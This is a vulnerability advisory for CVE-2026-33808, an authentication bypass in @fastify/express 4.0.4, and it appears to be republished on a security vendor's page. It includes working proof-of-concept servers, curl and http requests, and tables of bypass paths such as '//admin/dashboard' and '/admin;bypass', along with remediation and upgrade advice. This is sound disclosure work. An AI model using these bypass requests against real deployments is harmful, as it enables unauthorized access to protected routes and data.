Summary
@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:
- Duplicate slashes (
//admin/dashboard) whenignoreDuplicateSlashes: trueis configured - Semicolon delimiters (
/admin;bypass) whenuseSemicolonDelimiter: trueis configured
In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.
Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.
Details
The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):
const decodedUrl = decodeURI(url)
req.raw.url = decodedUrl
The decodeURI() function only handles percent-encoding, it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.
Vector 1: Duplicate Slashes
When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.
The attack sequence:
- Client sends
GET //admin/dashboard - Fastify's router normalizes this to
/admin/dashboardand finds a matching route enhanceRequestsetsreq.raw.url = "//admin/dashboard"(preserves double slash)- Express middleware
app.use('/admin', authMiddleware)does not match//adminprefix - Authentication is bypassed, and the Fastify route handler executes
Vector 2: Semicolon Delimiters
When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.
Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.
The attack flow:
- Request
GET /admin;bypassarrives - Fastify router: splits at
;, matches routeGET /admin - Express middleware: regex
/^\/admin\/?(?=\/|$)/ifails against/admin;bypass, middleware skipped - Route handler executes without authentication checks
PoC
Duplicate Slash Bypass
Save as server.js and run with node server.js:
const fastify = require('fastify')
async function start() {
const app = fastify({
logger: false,
ignoreDuplicateSlashes: true, // documented Fastify option
})
await app.register(require('@fastify/express'))
// Standard Express middleware auth pattern
app.use('/admin', function expressAuthGate(req, res, next) {
const auth = req.headers.authorization
if (!auth || auth !== 'Bearer admin-secret-token') {
res.statusCode = 403
res.setHeader('content-type', 'application/json')
res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
return
}
next()
})
// Protected route
app.get('/admin/dashboard', async (request) => {
return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
})
await app.listen({ port: 3000 })
console.log('Listening on http://localhost:3000')
}
start()
# Normal access, blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}
# Double-slash bypass, Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}
# Triple-slash also works
$ curl -s http://localhost:3000///admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}
Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.
Semicolon Bypass
const fastify = require('fastify')
const http = require('http')
function get(port, url) {
return new Promise((resolve, reject) => {
http.get('http://localhost:' + port + url, (res) => {
let data = ''
res.on('data', (chunk) => data += chunk)
res.on('end', () => resolve({ status: res.statusCode, body: data }))
}).on('error', reject)
})
}
async function test() {
const app = fastify({
logger: false,
routerOptions: { useSemicolonDelimiter: true }
})
await app.register(require('@fastify/express'))
// Auth middleware blocking unauthenticated access
app.use('/admin', function(req, res, next) {
if (!req.headers.authorization) {
res.statusCode = 403
res.setHeader('content-type', 'application/json')
res.end(JSON.stringify({ error: 'Forbidden' }))
return
}
next()
})
app.get('/admin', async () => ({ secret: 'classified-info' }))
await app.listen({ port: 19900, host: '0.0.0.0' })
// Blocked:
let r = await get(19900, '/admin')
console.log('/admin:', r.status, r.body)
// Output: /admin: 403 {"error":"Forbidden"}
// BYPASS:
r = await get(19900, '/admin;bypass')
console.log('/admin;bypass:', r.status, r.body)
// Output: /admin;bypass: 200 {"secret":"classified-info"}
r = await get(19900, '/admin;')
console.log('/admin;:', r.status, r.body)
// Output: /admin;: 200 {"secret":"classified-info"}
await app.close()
}
test()
Actual output:
/admin: 403 {"error":"Forbidden"}
/admin;bypass: 200 {"secret":"classified-info"}
/admin;: 200 {"secret":"classified-info"}
The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.
Affected Versions
@fastify/expressv4.0.4 (latest) with Fastify 5.x- Requires
ignoreDuplicateSlashes: trueoruseSemicolonDelimiter: truein Fastify configuration (via top-level option orrouterOptions)
Variant Testing
Duplicate slashes:
| Request | Express Middleware | Handler Runs | Result |
|---|---|---|---|
GET /admin/dashboard |
Invoked (blocks) | No | 403 Forbidden |
GET //admin/dashboard |
Skipped | Yes | 200 OK, BYPASS |
GET ///admin/dashboard |
Skipped | Yes | 200 OK, BYPASS |
GET /.//admin/dashboard |
Skipped | Yes | 200 OK, BYPASS |
GET //admin//dashboard |
Skipped | Yes | 200 OK, BYPASS |
GET /admin//dashboard |
Invoked (blocks) | No | 403 Forbidden |
Semicolons:
| URL | Express MW Fires | Route Matches | Result |
|---|---|---|---|
/admin |
Yes | Yes (200/403) | Normal |
/admin; |
No | Yes (200) | BYPASS |
/admin;bypass |
No | Yes (200) | BYPASS |
/admin;x=1 |
No | Yes (200) | BYPASS |
/admin;/dashboard |
No | Yes (200, routes to /admin) | BYPASS |
/admin/dashboard;x |
Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |
The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.
Impact
Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.
Duplicate slash vector affects applications that:
- Use
@fastify/expresswithignoreDuplicateSlashes: true - Rely on Express middleware for authentication/authorization
- Use path-scoped middleware patterns like
app.use('/admin', authMiddleware)
Semicolon vector affects applications that:
- Use
@fastify/expresswithuseSemicolonDelimiter: true(commonly enabled for Java application server compatibility, e.g., handling;jsessionid=parameters) - Rely on Express middleware for authentication/authorization
- Use path-scoped middleware patterns like
app.use('/admin', authMiddleware)
The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.
The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.
CVE-2026-33808 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:
- When
ignoreDuplicateSlashesis enabled, applyFindMyWay.removeDuplicateSlashes()toreq.raw.urlbefore middleware execution - When
useSemicolonDelimiteris enabled, strip semicolon-delimited parameters from the URL before passing to Express
This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().
Frequently Asked Questions
- What is CVE-2026-33808? CVE-2026-33808 is a critical-severity security vulnerability in @fastify/express (npm), affecting versions <= 4.0.4. It is fixed in 4.0.5.
- How severe is CVE-2026-33808? CVE-2026-33808 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @fastify/express are affected by CVE-2026-33808? @fastify/express (npm) versions <= 4.0.4 is affected.
- Is there a fix for CVE-2026-33808? Yes. CVE-2026-33808 is fixed in 4.0.5. Upgrade to this version or later.
- Is CVE-2026-33808 exploitable, and should I be worried? Whether CVE-2026-33808 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33808 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33808? Upgrade
@fastify/expressto 4.0.5 or later.